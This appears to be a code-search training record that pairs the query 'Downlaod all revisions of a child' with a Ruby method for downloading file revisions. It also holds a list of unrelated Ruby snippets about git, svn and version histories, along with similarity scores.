self.class.get(\"/aldebaran-tippler/tippler/notfis/#{@id_data['id_sequential_rev']}/edis\", :basic_auth => @auth)\n end", "def get_status_revisions status_entry\n # the printing revision in svn (svn diff -r20) are confusing, but this\n # is what it looks like:\n\n # if a file is modified,\n # if the file existed at fromrev\n # it is compared with fromrev\n # else\n # it is compared to BASE\n\n info \"status_entry.status: #{status_entry.status}\".color('#2c2cdd')\n\n action = SVNx::Action.new status_entry.status\n info \"action: #{action}\".color('#2c2cdd')\n case\n when action.added?\n info \"added\"\n [ 0, 0 ]\n when action.deleted?\n info \"deleted\"\n [ @revision.from, :working_copy ]\n when action.modified?\n info \"modified\"\n [ status_entry.status_revision, :working_copy ]\n end\n end", "def revision\n revisions.first\n end", "def versions\n # TODO make this a collection proxy, only loading the first, then the\n # rest as needed during iteration (possibly in chunks)\n return nil if @archived\n @versions ||= [self].concat(CloudKit.storage_adapter.query { |q|\n q.add_condition('resource_reference', :eql, @resource_reference)\n q.add_condition('archived', :eql, 'true')\n }.reverse.map { |hash| self.class.build_from_hash(hash) })\n end", "def get_files_modified\r\n\tgit_result = IO.popen('git status -u --porcelain').read\r\n\tgit_result.split(/[\\r\\n]+/).uniq.map!{|file| file.slice 3..-1}\r\nend", "def snapshots\n return @snapshots if @snapshots\n\n @snapshots = []\n @files.each do |f|\n io = File.open(f)\n @parser.read(io)\n @snapshots << @parser.snapshot\n end\n\n return @snapshots\n end", "def accept_all_revisions(request)\n data, _status_code, _headers = accept_all_revisions_with_http_info(request)\n request_token if _status_code == 401\n data\n end", "def fetch_changesets\n # Save ourselves an expensive operation if we're already up to date\n return if scm.num_revisions == changesets.count\n\n revisions = scm.revisions('', nil, nil, :all => true)\n return if revisions.nil? || revisions.empty?\n\n # Find revisions that redmine knows about already\n existing_revisions = changesets.find(:all).map!{|c| c.scmid}\n\n # Clean out revisions that are no longer in git\n Changeset.delete_all([\"scmid NOT IN (?) AND repository_id = (?)\", revisions.map{|r| r.scmid}, self.id])\n\n # Subtract revisions that redmine already knows about\n revisions.reject!{|r| existing_revisions.include?(r.scmid)}\n\n # Save the remaining ones to the database\n revisions.each{|r| r.save(self)} unless revisions.nil?\n end", "def revision\n raise NotImplementedError.new(\"revision() must be implemented by subclasses of AbstractVersionedFile.\")\n end", "def revision\n return changeset.rev if @changeset || @change_id\n link_rev\n end", "def listversions(project=self.project)\n get('listversions.json', project: project)['versions']\n end", "def fetch_svn_urls()\n urls = bot.config['svn_urls']\n commits = []\n urls.each do |url_str|\n begin\n @log.info \"checking #{url_str} for new commits...\"\n\n # https://username:[email protected]:8080/svn/path/in/repo/\n url = Addressable::URI.parse(url_str)\n\n xmldata = `svn log --username #{url.user} --password #{url.password} --xml -v --limit 15 #{url.omit(:user, :password)}`\n doc = REXML::Document.new(xmldata)\n \n doc.elements.inject('log/logentry', commits) do |commits, element|\n commits.push({:url => url}.merge(parse_entry_info(element)))\n end\n\n rescue Exception => e\n @log.error \"error connecting to svn: #{e.message}\"\n end\n end\n return commits\n end", "def versions\n link = data.xpath(\"at:link[@rel = 'version-history']/@href\", NS::COMBINED)\n if link = link.first\n Collection.new(repository, link) # Problem: does not in fact use self\n else\n # The document is not versionable\n [self]\n end\n end", "def index\n @changes = Change.all\n end", "def altered_files; `git show --name-only #{node} 2> /dev/null`.split(\"\\n\"); end", "def revision_tables\n database.tables.select { |t| revision_table?(t) }.sort\n end", "def versions\n authorize @page\n @versions = @page.versions\n status = params[:by_status] && Page.statuses[params[:by_status]]\n if status\n @versions = @versions.where_object(status: status)\n end\n @versions = @versions.reorder(created_at: :desc, id: :desc).page params[:page]\n end", "def patch_ids(path, revisions, limit, skip)\n git_patch_ids = ''\n git_cmd(%w{patch-id}) do |i_patch_id, o_patch_id|\n i_patch_id.binmode\n\n cmd_args = %w{log -p --no-color --date-order --format=%H}\n cmd_args << '--all' if revisions.empty?\n cmd_args << \"--encoding=#{path_encoding}\"\n cmd_args << \"--skip=#{skip}\" << \"--max-count=#{limit}\"\n cmd_args << '--stdin'\n\n if path && !path.empty?\n cmd_args << '--' << scm_iconv(path_encoding, 'UTF-8', path)\n end\n\n git_cmd(cmd_args) do |i_log, o_log|\n i_log.binmode\n i_log.puts(revisions.join(\"\\n\"))\n i_log.close\n IO.copy_stream(o_log, i_patch_id)\n end\n\n i_patch_id.close\n git_patch_ids = o_patch_id.read.force_encoding(path_encoding)\n end\n git_patch_ids\n end", "def revise_file_list(list, revisions)\n revisions.each do |revision|\n # include or exclude file or glob to file list\n file = FilePathUtils.extract_path_no_aggregation_operators( revision )\n FilePathUtils.add_path?(revision) ? list.include(file) : list.exclude(file)\n end\n end", "def file_revert(file, ref)\n if file_revisions(file).map { |r| r[:commit] }.include? ref\n file = file.gsub(%r{^/}, '')\n full_path = File.expand_path(file, @root)\n content = File.read(file_revision_at(file, ref))\n File.open(full_path, 'w') { |f| f.puts content }\n end\n end", "def comments(file, revision, opts = {})\n method = opts[:draft] ? :draft_comments : :comments\n reference = revision > 0 ? revision : 1\n cs = @gerrit.send(method, @id, reference)[file] || []\n side = revision > 0 ? 'REVISION' : 'PARENT'\n cs.select { |c| (c['side'] || 'REVISION') == side }\n end", "def posts\n return @posts if defined? @posts\n\n diffable_files = `git diff -z --name-only --diff-filter=ACRTUXB origin/master -- content/changes/`.split(\"\\0\")\n\n @posts = diffable_files.select do |filename|\n ext = File.extname(filename)\n ext == \".md\" || ext == \".html\"\n end\nend", "def versions\n Version.all\n end", "def get_indexfile_with_revision revision\n result = nil\n File.open(@indexfile, \"r\") do |f|\n f.each_line do |line|\n row = parse_indexfile_line(line)\n if row[0] == revision\n result = line\n break\n end\n end\n end\n return result\n end", "def modified_lines_in_file(file)\n subcmd = 'show --format=%n'\n @modified_lines ||= {}\n @modified_lines[file] ||=\n Overcommit::GitRepo.extract_modified_lines(file, subcmd: subcmd)\n end", "def latest_changes(options={})\n options[:max_count] = 10 unless options[:max_count]\n @repo.log(@ref, page_file_dir, options)\n end", "def find(revision, options = {})\n get_path(\n path_to_find(revision),\n options,\n Tinybucket::Parser::CommitParser\n )\n end", "def getVersions\r\n\t\t\t\t\treturn @versions\r\n\t\t\t\tend", "def versions\n authorize @page\n @versions = @page.versions\n status = params[:by_status] && Page.statuses[params[:by_status]]\n if status\n @versions = @versions.where_object(status: status)\n end\n @versions = @versions.reorder(created_at: :desc, id: :desc).page params[:page]\n end", "def getChangesOfCommit(commit_id = false)\n my_commit = ((commit_id == false and @repo.commits.size > 0) ? @repo.commits.first : @repo.commit(commit_id))\n if my_commit == nil\n return false\n end\n \n # get list of changed files and parse it\n @filelist = Hash.new\n options = {:r => true, :name_status => true, :no_commit_id => true}\n if @repo.commit(my_commit.sha).parents[0] == nil # if my_commit is the first commit\n options[:root] = true\n end\n changed_files_list = @git.diff_tree(options, my_commit.id).strip\n if changed_files_list.class == String and changed_files_list.length > 0\n changed_files_list.split(\"\\n\").each do |f|\n commit = my_commit\n operation = f[0,1] # D/M/A\n filepath = f[2..-1] # path+filename\n path = \"/\" + filepath.match(/^.+\\//).to_s # just path\n status = \"created\"\n if operation =~ /^D$/i # deleted\n # the file was deleted, so get the blob from the parent-commit\n commit = @repo.commit(my_commit.parents[0].sha)\n status = \"deleted\"\n elsif operation =~ /^M$/i # modified\n status = \"updated\"\n end\n blob = commit.tree/(filepath)\n\n #name = filepath.gsub(path[1..-1], '') #blob.name\n path = path.gsub(/\\/private\\/[0-9]+\\//,'')\n \n \n \n @filelist[\"/\" + filepath] = {\"uploaded\" => '1', \"status\" => status, \"blob_hash\" => blob.id, \"name\" => blob.name, \"path\" => \"/#{path}\", \"size\" => blob.size, \"filetype\" => blob.mime_type, \"filedate\" => @repo.commit(commit.sha).date.strftime('%T %F').to_s}\n \n \n end\n end\n\n if @filelist.size > 0\n return @filelist\n else\n return false\n end\n end", "def index\n @versions = Version.all\n end", "def update_changed_rev(file_safety, repo, fnames = nil)\n fnames = file_safety.keys if fnames.nil?\n # TODO: Use svn info --xml instead\n # TODO: Is it possible to get %x[] syntax to accept variable arguments?\n #all_info = %x[svn info -r HEAD \"#{fnames.join(' ')}\"]\n #repo = %x[svn info].split(\"\\n\").select{|x| x =~ /^URL: /}.collect{|x| x[5..-1]}.first\n # Filename becomes too long, and extra arguments get ignored\n #all_info = Kernel.send(\"`\", \"svn info -r HEAD #{fnames.sort.join(' ')}\").split(\"\\n\\n\")\n # Note: I'd like to be able to use svn -u status -v instead of svn info,\n # but it seems to refer only to the local working copy...\n f2 = fnames.sort # Sorted copy is safe to change\n all_info = []\n while f2 && !f2.empty?\n blocksize = 10\n extra_info = svn_info_entries(f2.first(blocksize), repo)\n #if extra_info.size != [blocksize, f2.size].min\n # puts \"Mismatch (got #{extra_info.size}, expected #{[blocksize, f2.size].min})\"\n #end\n all_info += extra_info\n f2 = f2[blocksize..-1]\n end\n fnames.each{|f|\n #puts \"Checking for URL: #{repo}/#{f}\"\n #puts all_info[0].inspect\n info = all_info.find{|x| x.include?(\"URL: #{repo}/#{f}\")}\n if info\n info = info.split(\"\\n\")\n else\n #puts \"Unknown: #{f}\"\n end\n #info = %x[svn info -r HEAD \"#{f}\"].split(\"\\n\")\n if info.nil? || info.empty?\n # svn writes to stderr: \"svn: '#{f}' has no URL\", or\n # \"#{f}: (Not a versioned resource)\"\n file_safety[f][\"last_changed_rev\"] = -1 # Flag as non-existent\n else\n file_safety[f][\"last_changed_rev\"] = info.\n select{|x| x =~ /^Last Changed Rev: /}.collect{|x| x[18..-1]}[0].to_i\n end\n }\nend", "def get_svn_rev( dir='.' )\n\tinfo = get_svn_info( dir )\n\treturn info['Revision']\nend", "def extract_modified_lines(file_path, options)\n lines = Set.new\n\n flags = '--cached' if options[:staged]\n refs = options[:refs]\n subcmd = options[:subcmd] || 'diff'\n\n `git #{subcmd} --no-ext-diff -U0 #{flags} #{refs} -- '#{file_path}'`.\n scan(DIFF_HUNK_REGEX) do |start_line, lines_added|\n lines_added = (lines_added || 1).to_i # When blank, one line was added\n cur_line = start_line.to_i\n\n lines_added.times do\n lines.add cur_line\n cur_line += 1\n end\n end\n\n lines\n end", "def files_at_commit(pr_id, filter = lambda{true})\n q = <<-QUERY\n select c.sha\n from pull_requests p, commits c\n where c.id = p.base_commit_id\n and p.id = ?\n QUERY\n\n base_commit = db.fetch(q, pr_id).all[0][:sha]\n files = repo.lstree(base_commit, :recursive => true)\n\n files.select{|x| filter.call(x)}\n end", "def file_listing(commit)\n # The only reason this doesn't work 100% of the time is because grit doesn't :/\n # if i find a fix, it'll go upstream :D\n count = 0\n out = commit.diffs.map do |diff|\n count = count + 1\n if diff.deleted_file\n %(<li class='file_rm'><a href='#file_#{count}'>#{diff.a_path}</a></li>)\n else\n cla = diff.new_file ? \"add\" : \"diff\"\n %(<li class='file_#{cla}'><a href='#file_#{count}'>#{diff.a_path}</a></li>)\n end\n end\n \"<ul id='files'>#{out.join}</ul>\"\n end" ]
[ "0.7486235", "0.73810863", "0.7372269", "0.72515345", "0.72025204", "0.71691644", "0.71471524", "0.7019852", "0.69765276", "0.69689935", "0.6949805", "0.68967843", "0.6882636", "0.67299587", "0.67066914", "0.6579598", "0.65670013", "0.6471881", "0.64532554", "0.63991284", "0.6376325", "0.6334574", "0.6314756", "0.62862706", "0.62860644", "0.62696403", "0.62639946", "0.6208235", "0.6205623", "0.6184274", "0.61326677", "0.6128148", "0.60804737", "0.60258186", "0.6018647", "0.6012994", "0.6000256", "0.5994102", "0.59767914", "0.59552616", "0.59503126", "0.59442794", "0.59107214", "0.590427", "0.5884947", "0.5876291", "0.58552974", "0.58524436", "0.5839071", "0.5834517", "0.58134896", "0.5804463", "0.5769026", "0.5749348", "0.5739565", "0.5730239", "0.5726391", "0.5723183", "0.5715727", "0.5712248", "0.5708885", "0.56891793", "0.5685672", "0.5682598", "0.5682473", "0.5681596", "0.56667525", "0.5663541", "0.56444776", "0.5643965", "0.5638137", "0.56349355", "0.56340396", "0.56238544", "0.562155", "0.5621145", "0.5614556", "0.5611894", "0.56114304", "0.5595454", "0.5593347", "0.5588647", "0.5567546", "0.556329", "0.55606985", "0.5556321", "0.5554558", "0.5545633", "0.55425686", "0.5541138", "0.5533976", "0.5520083", "0.5517435", "0.55159503", "0.5514602", "0.5486119", "0.5484374", "0.54480773", "0.5436287", "0.54256546" ]
0.79685223
0
Downlaod all revisions of a child
def download_revisions(child, revisions, new_path) revisions.each do |revision| download_url = retrieve_download_url revision, child.mimeType dl = @client.execute!(uri: download_url.to_s) # Download file save_revision child, revision, dl, new_path end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def revert!\n track_changes_save = self.class.track_changes_save\n self.class.track_changes_save = false\n self.transaction do\n content_versions.each do | c |\n if c.content.version == c.version\n c.content.revert_to(c)\n end\n end\n content_key_versions.each do | c |\n if c.content_key.version == c.version\n c.content_key.revert_to(c)\n end\n end\n end\n ensure \n self.class.track_changes = track_changes_save\n end", "def retrieve_all_children\n self.to_be_removed = false\n self.save\n\n self.tags.each do |i|\n i.to_be_removed = false\n i.save\n end\n end", "def unpublish_revisions\n #Unpublish us\n if self.submitted?\n self.deleted!\n save\n end\n if self.revisions.present?\n #Unpublish the revisions\n self.revisions.each do |event|\n if event.submitted?\n event.deleted!\n event.save\n end\n end\n end\n end", "def down\n update_relative(:-)\n end", "def revert_to(version_hash)\n tree = self.git.tree(version_hash)\n dir = tree.contents[0] # posts/\n data = dir.contents[0] # 6/\n data.contents.each do |f| # title.txt\n field = f.name.gsub(\".txt\",\"\")\n send(\"#{field.to_sym}=\", f.data)\n end\n save # hm, not sure if I want to do this\n end", "def prune\n @parent.gemset_prune\n end", "def sync_child_pages\n children.each{ |p| p.save! } if full_path_changed?\n end", "def update_children\n self.children.each do |child|\n child.update_children\n unless child.new_record?\n child.save\n child.move_to_child_of(self) if child.parent_id != self.id\n end\n end if self.changed?\n end", "def truncate_revisions!(options = nil)\n options = {:limit => self.class.acts_as_revisionable_options[:limit], :minimum_age => self.class.acts_as_revisionable_options[:minimum_age]} unless options\n revision_record_class.truncate_revisions(self.class, self.id, options)\n end", "def remove_from_descendants\n # TODO\n end", "def bt_revise(attrs={})\n raise ArgumentError, \"invalid revision of non-current record\" if inactive?\n\n revision = bt_new_version(attrs)\n\n return [] if !changed? and revision.bt_same_snapshot?(self)\n\n result = bt_delete(revision.vtstart_at, revision.vtend_at) do |overlapped, vtrange, transaction_time|\n intersection = overlapped.vt_range.intersection(vtrange)\n revision.bt_new_version(vtstart_at: intersection.db_begin, vtend_at: intersection.db_end).bt_commit(transaction_time).first\n end\n\n if result.empty?\n # The revised record doesn't intersect with any existing records (including its previous version).\n revision.bt_commit\n result << revision\n end\n\n result\n end", "def rearrange_children\n if rearrange_children?\n self.disable_timestamp_callback()\n self.children.each do |child|\n child.update_path!\n child.save\n # child.reload # might not need to reload?\n end\n self.enable_timestamp_callback()\n end\n @rearrange_children = false\n true\n end", "def page_update_after_destroy\n latest = page.content.versions.reorder(\"#{self.class.table_name}.version DESC\").first\n if latest && page.content.version != latest.version\n raise ActiveRecord::Rollback unless page.content.revert_to!(latest)\n elsif latest.nil?\n raise ActiveRecord::Rollback unless page.destroy\n end\n end", "def unbranch\n @child\n end", "def destroy_descendants\n return if right.nil? || left.nil? || skip_before_destroy\n \n if acts_as_nested_set_options[:dependent] == :destroy\n descendants.each do |model|\n model.skip_before_destroy = true\n model.destroy\n end\n else\n base_class.delete_all scoped(left_column_name => { '$gt' => left }, right_column_name => { '$lt' => right })\n end\n \n # update lefts and rights for remaining nodes\n diff = right - left + 1\n base_class.all(scoped(left_column_name => { '$gt' => right })).each do |node|\n node.update_attributes left_column_name => node.left - diff\n end\n base_class.all(scoped(right_column_name => { '$gt' => right })).each do |node|\n node.update_attributes right_column_name => node.right - diff\n end\n \n # Don't allow multiple calls to destroy to corrupt the set\n self.skip_before_destroy = true\n end", "def update_ancestors!(ancestors)\n ancestors.each do |post|\n post.touch\n post.increment(:descendants_depth).save!\n end\n end", "def truncate_all\n Content::Version.all.map(&:destroy)\n ContentKey::Version.all.map(&:destroy)\n Content.all.map(&:destroy)\n ContentKey.all.map(&:destroy)\n end", "def delete_branch\n #we'll get all descendants by level descending order. That way we'll make sure deletion will come from children to parents\n children_to_be_deleted = self.class.find(:all, :conditions => \"id_path like '#{self.id_path},%'\", :order => \"level desc\")\n children_to_be_deleted.each {|d| d.destroy}\n #now delete my self :)\n self.destroy\n end", "def truncate_revisions! (options = nil)\n options = {:limit => acts_as_revisionable_options[:limit], :minimum_age => acts_as_revisionable_options[:minimum_age]} unless options\n RevisionRecord.truncate_revisions(self.class, self.id, options)\n end", "def rebuild\n @logger.debug('rebuild()')\n self.destroy\n self.up\n end", "def revert!\n published_pid = PidUtils.to_published(pid)\n draft_pid = PidUtils.to_draft(pid)\n\n if self.class.exists? published_pid\n destroy_draft_version!\n deep_copy_fedora_object from: published_pid, to: draft_pid\n end\n end", "def unpublish_self\n if self.submitted?\n self.deleted!\n save\n end\n if self.revisions.present?\n self.revisions.each do |event|\n if event.submitted?\n event.deleted!\n event.save\n end\n end\n end\n end", "def demolish\n @children.each_value(&:demolish)\n end", "def undelete(list)\n manifests = living_parents.map do |p|\n manifest.read changelog.read(p).manifest_node\n end\n \n # now we actually restore the files\n list.each do |file|\n unless dirstate[file].removed?\n UI.warn \"#{file} isn't being removed!\"\n else\n m = manifests[0] || manifests[1]\n data = file(f).read m[f]\n add_file file, data, m.flags(f) # add_file is wwrite in the python\n dirstate.normal f # we know it's clean, we just restored it\n end\n end\n end", "def destroy_descendants # already protected by a transaction within #destroy\n return if self[right_col_name].nil? || self[left_col_name].nil? || self.skip_before_destroy\n reloaded = self.reload rescue nil # in case a concurrent move has altered the indexes - rescue if non-existent\n return unless reloaded\n dif = self[right_col_name] - self[left_col_name] + 1\n if acts_as_nested_set_options[:dependent] == :delete_all\n base_set_class.delete_all( \"#{scope_condition} AND (#{prefixed_left_col_name} BETWEEN #{self[left_col_name]} AND #{self[right_col_name]})\" ) \n else \n set = base_set_class.find(:all, :conditions => \"#{scope_condition} AND (#{prefixed_left_col_name} BETWEEN #{self[left_col_name]} AND #{self[right_col_name]})\", :order => \"#{prefixed_right_col_name} DESC\") \n set.each { |child| child.skip_before_destroy = true; remove_descendant(child) } \n end\n base_set_class.update_all(\"#{left_col_name} = CASE \\\n WHEN #{left_col_name} > #{self[right_col_name]} THEN (#{left_col_name} - #{dif}) \\\n ELSE #{left_col_name} END, \\\n #{right_col_name} = CASE \\\n WHEN #{right_col_name} > #{self[right_col_name]} THEN (#{right_col_name} - #{dif} ) \\\n ELSE #{right_col_name} END\",\n scope_condition)\n end", "def destroy_tree_from_leaves\n self.subdirectories.each do |subdirectory|\n subdirectory.destroy_tree_from_leaves\n end\n self.subdirectories.reload\n self.cfs_files.each do |cfs_file|\n cfs_file.destroy!\n end\n self.cfs_files.reload\n self.destroy!\n end", "def update_descendants_slugs\n if has_children?\n descendants.each do |child|\n child.slug = [child.parent.slug, child.slug.split('/').last].join('/')\n child.save!\n end\n end\n end", "def destroy_descendants\n return if self.descendants.empty?\n tree_search_class.destroy(self.descendants.map(&:_id))\n end", "def clear_old_versions\n return if self.class.max_version_limit == 0\n excess_baggage = send(self.class.version_column).to_i - self.class.max_version_limit\n if excess_baggage > 0\n self.class.versioned_class.delete_all [\"#{self.class.version_column} <= ? and #{self.class.versioned_foreign_key} = ?\", excess_baggage, id]\n end\n end", "def detach_from_parent\n return nil if parent.nil? # root\n oci = own_child_index\n parent.children.delete_at(oci) if oci\n self.parent = nil\n oci\n end", "def revive\n return self unless deleted?\n ActiveRecord::Base.transaction do\n update_attributes(deleted_at: nil)\n revive_associated_records\n end\n end", "def revert\n @update_span = params[:update]\n @object = referenced_object\n if current_user.role? :superadmin\n @version = PaperTrail::Version.find(params[:id])\n @version.reify.save!\n @object = @Klass.find(@version.item_id)\n authorize!(:revert, @object) if cancan_enabled?\n respond_to do |format|\n format.html { } unless @Klass.not_accessible_through_html?\n format.js { render :close }\n end\n end\n end", "def child_tree\n child_check\n child_tree = self.clone\n child_tree.removeFromParent!\n child_tree\n end", "def revisions\n raise NotImplementedError\n end", "def destroy_with_revision\n store_revision do\n yield\n end\n end", "def down\n Widget.update_all data_table_id: nil\n\n [DataTableDataset, DataRow, DataTable].each do |clazz|\n clazz.delete_all\n end\n end", "def restore_parent\n Page.with_deleted\n .find(parent_id)\n .restore(recursive: true) if parent_id\n\n rebuild!\n end", "def revive\n # Disable paper_trail when it is present and active\n if self.class.respond_to?(:paper_trail_active) && self.class.paper_trail_active\n self.class.paper_trail_off\n update_attribute :deleted_at, nil\n self.class.paper_trail_on\n else\n update_attribute :deleted_at, nil\n end\n end", "def update_child_permalinks\n if respond_to?(:children)\n self.children.each do |child|\n child.regenerate_permalink!\n child.save!\n end\n end\n end", "def detach parent\n\n # the ordinary *able table\n parent.send( self.class.to_s.underscore.pluralize).delete self\n\n # case child.class.to_s\n # when \"Event\",\"WageEvent\"\n # ev = Eventable.where( event: child, eventable: self)\n # ev.delete_all\n # when \"Printer\"\n # pr = Printable.where( printer: child, printable: self)\n # pr.delete_all\n # else\n # children = eval child.class.to_s.downcase.pluralize\n # children.delete child\n # end\n rescue\n false\n end", "def revert\n self.class.revert [self]\n end", "def revise_from_content(base_content, revised_content)\n revisions.build(diffs: generate_diff_hash(base_content, revised_content))\n end", "def descendant_unrealize\n # force unrealize\n unrealize_self\n @realized = false\n dependencies.each do |dependency|\n dependency.descendant_unrealize\n end\n end", "def orphan_child_categories\n self.children.each do |child|\n child.parent_id = nil\n child.save\n end\n end", "def fetch_revision\n end", "def destroy\n #If image has parent, update children and vice versa\n if image.root_version? then\n newroot = image.child_versions.order(:created_at).last\n image.child_versions.delete(newroot)\n image.child_versions.each do |v| v.parent_image = newroot and v.save end\n else\n image.child_versions.each do |v| v.parent_image = image.parent_image and v.save end\n end\n\n image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def ls_down\n end", "def update_children_when_delete\n if self.to_be_removed == true\n self.tag_types.each do |m|\n if m.to_be_removed == false\n m.to_be_removed = true\n m.save\n end\n end\n end\n end", "def dl_and_update_medias_directly_from_root\n raise \"dl_and_update_medias_directly_from_root must be redefined in children classes\"\n end", "def children\n Product.unscoped.deleted.where(:parent_id=>self.id)\n end", "def auto_migrate_down!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).destroy_model_storage(self)\n else\n base_model.auto_migrate_down!(repository_name)\n end\n end", "def after_update\r\n\t\t\tself.children.each do |child|\r\n\t\t\t\tchild.path = self.path + '/' + child.filename\r\n\t\t\t\tchild.save\r\n\t\t\tend\r\n\t\tend", "def after_update\n\t\t\tself.children.each do |child|\n\t\t\t\tchild.path = self.path + '/' + child.filename\n\t\t\t\tchild.save\n\t\t\tend\n\t\tend", "def remove_act\n # outdent children in case remove_act doesn't delete\n self.children.each do |child|\n child.outdent\n child.remove_act\n end\n \n # check if parent should update completeness\n old_parent = self.parent\n\n self.permissions.destroy_all\n self.destroy\n \n # refresh parent completeness\n if !old_parent.nil?\n old_parent.is_complete?\n end\n end", "def revisions\n @revisions ||= RevisionCollection.new(self)\n end", "def down(&block)\n migration.down = block\n end", "def recursively_destroy!\n children.each { |c| c.recursively_destroy! }\n destroy\n end", "def update_child_moderation\n if self.changed.include?('moderation_flag') and self.content.has_children?\n self.content.children.each do |child|\n similiar_submissions = Submission.where(content_id: child.id, feed_id: self.feed_id, moderation_flag: self.moderation_flag_was)\n similiar_submissions.each do |child_submission|\n child_submission.update_attributes({moderation_flag: self.moderation_flag, moderator_id: self.moderator_id})\n end\n end\n end\n end", "def update_descendants_with_new_structure\n # Skip this if callbacks are disabled\n unless structure_callbacks_disabled?\n # If node is not a new record and structure was updated and the new structure is sane ...\n if changed.include?(self.base_class.structure_column.to_s) && !new_record? && sane_structure?\n # ... for each descendant ...\n unscoped_descendants.each do |descendant|\n # ... replace old ancestry with new ancestry\n descendant.without_structure_callbacks do\n column = self.class.structure_column\n v = read_attribute(column)\n descendant.update_attribute(\n column,\n descendant.read_attribute(descendant.class.structure_column).gsub(\n /^#{self.child_structure}/,\n if v.blank? then\n id.to_s\n else\n \"#{v}/#{id}\"\n end\n )\n )\n end\n end\n end\n end\n end", "def update!(**args)\n @child = args[:child] if args.key?(:child)\n end", "def update!(**args)\n @child = args[:child] if args.key?(:child)\n end", "def update!(**args)\n @child = args[:child] if args.key?(:child)\n end", "def set_current_revisions!\n self.class.transaction do\n save! unless self.id\n\n t = RevisionListContent.table_name\n \n connection.execute <<\"END\"\nDELETE FROM #{t} WHERE revision_list_id = #{self.id}\nEND\n \n connection.execute <<\"END\"\nINSERT INTO #{t} ( revision_list_id, content_version_id )\nSELECT #{self.id}, content_versions.id \nFROM contents, content_versions \nWHERE content_versions.content_id = contents.id AND content_versions.version = contents.version\nEND\n\n t = RevisionListContentKey.table_name\n \n connection.execute <<\"END\"\nDELETE FROM #{t} WHERE revision_list_id = #{self.id}\nEND\n \n connection.execute <<\"END\"\nINSERT INTO #{t} ( revision_list_id, content_key_version_id )\nSELECT #{self.id}, content_key_versions.id \nFROM content_keys, content_key_versions \nWHERE content_key_versions.content_key_id = content_keys.id AND content_key_versions.version = content_keys.version\nEND\n\n end\n\n # Association caches are out-of-date.\n reload\n\n self\n end", "def refresh!\n @roots.keys.each { |key| @roots[key].delete(:up_to_date) }\n end", "def destroy_descendants\n return if right.nil? || left.nil? || skip_before_destroy\n\n if acts_as_nested_set_options[:dependent] == :destroy\n descendants.each do |model|\n model.skip_before_destroy = true\n model.destroy\n end\n else\n c = nested_set_scope.where(left_field_name.to_sym.gt => left, right_field_name.to_sym.lt => right)\n scope_class.where(c.selector).delete_all\n end\n\n # update lefts and rights for remaining nodes\n diff = right - left + 1\n\n # scope_class.with(:safe => true).where(\n scope_class.where(\n nested_set_scope.where(left_field_name.to_sym.gt => right).selector\n ).inc(left_field_name => -diff)\n\n # scope_class.with(:safe => true).where(\n scope_class.where(\n nested_set_scope.where(right_field_name.to_sym.gt => right).selector\n ).inc(right_field_name => -diff)\n\n # Don't allow multiple calls to destroy to corrupt the set\n self.skip_before_destroy = true\n end", "def revisions(path, identifier_from, identifier_to, options = {}, &block)\n if block_given?\n raise 'Can' 't read chunks with reverse option' if options[:reverse]\n revisions_in_chunks(path, identifier_from, identifier_to, options, &block)\n else\n revs = []\n revisions_in_chunks(path, identifier_from, identifier_to, options) do |chunk|\n revs += chunk.values\n end\n options[:reverse] ? revs.reverse : revs\n end\n rescue Redmine::Scm::Adapters::CommandFailed => e\n err_msg = \"git log error: #{e.message}\"\n logger.error(err_msg)\n if block_given?\n raise Redmine::Scm::Adapters::CommandFailed, err_msg\n else\n revs\n end\n end", "def bt_force(attrs={})\n raise ArgumentError, \"invalid revision of non-current record\" if inactive?\n\n revision = bt_new_version(attrs)\n\n return [] if !changed? and revision.bt_same_snapshot?(self)\n\n ActiveRecord::Base.transaction do\n result = bt_delete(revision.vtstart_at, revision.vtend_at)\n revision.bt_commit( result.last.try(:ttend_at) )\n end\n\n result << revision\n\n result\n end", "def revert_to(version)\n revert version\n self\n end", "def update_children_moderation_flag\n if self.changed.include?('moderation_flag') and self.content.has_children?\n self.content.children.each do |child|\n similiar_submissions = Submission.where(:content_id => child.id, :feed_id => self.feed_id, :moderation_flag => self.moderation_flag_was)\n similiar_submissions.each do |child_submission|\n child_submission.update_attributes({:moderation_flag => self.moderation_flag, :moderator_id => self.moderator_id})\n end\n end\n end\n end", "def collection_recursive_destroy(c)\n c.children.each do |child_c|\n collection_recursive_destroy(child_c)\n end\n \n #destroy all child documents\n c.documents.each do |d|\n d.destroy\n end\n \n c.destroy\n end", "def clean()\n rels = releases()\n rels.pop()\n\n unless rels.empty?\n rm = ['rm', '-rf'].concat(rels.map {|r| release_dir(r)})\n rm << release_dir('skip-*')\n cmd.ssh(rm)\n end\n end", "def uninstall_children! options={}\n return unless @dependency_lib\n\n options = options.dup\n\n @children.each do |dep|\n options.delete(:remove_children) unless\n options[:remove_children] == :recursive\n\n @dependency_lib.get(dep, options).uninstall!(options)\n end\n end", "def rearrange_children!\n @rearrange_children = true\n end", "def execute_down(context, meta_node)\n if @auto_transaction\n Neo4j::Transaction.run do\n context.instance_eval &@down_block if @down_block\n add_index_on(context, @rm_indexed_field) if @rm_indexed_field\n rm_index_on(context, @add_indexed_field) if @add_indexed_field\n meta_node._java_node[:_db_version] = version - 1\n end\n else\n context.instance_eval &@down_block if @down_block\n add_index_on(context, @rm_indexed_field) if @rm_indexed_field\n Neo4j::Transaction.run do\n rm_index_on(context, @add_indexed_field) if @add_indexed_field\n meta_node._java_node[:_db_version] = version - 1\n end\n end\n end", "def without_revision(&block)\n self.class.without_revision(&block)\n end", "def do_rev( hash, override=false )\n hash.delete(:rev) # This is omited to aleviate confusion \n # CouchDB determines _rev attribute on saving, but when #new is loading json passed from the \n # database rev needs to be added to the class. So, the :_rev param is not being deleted anymore\n end", "def test_nested_collection_destroy\n old_child = @parent.children.first\n childcontroller = ChildController.new(params: { id: old_child.id })\n childcontroller.invoke(:destroy)\n\n assert_equal(200, childcontroller.status, childcontroller.hash_response)\n\n @parent.reload\n\n assert_equal(%w[c2], @parent.children.order(:position).pluck(:name))\n assert_predicate(Child.where(id: old_child.id), :empty?)\n end", "def recursively_fix_breadcrumbs!(cards = collection_cards)\n cards.each do |card|\n next unless card.primary?\n\n if card.item.present?\n # have to reload in order to pick up new parent relationship\n card.item.reload.recalculate_breadcrumb!\n elsif card.collection_id.present?\n # this will run recursively rather than using breadcrumb to find all children\n 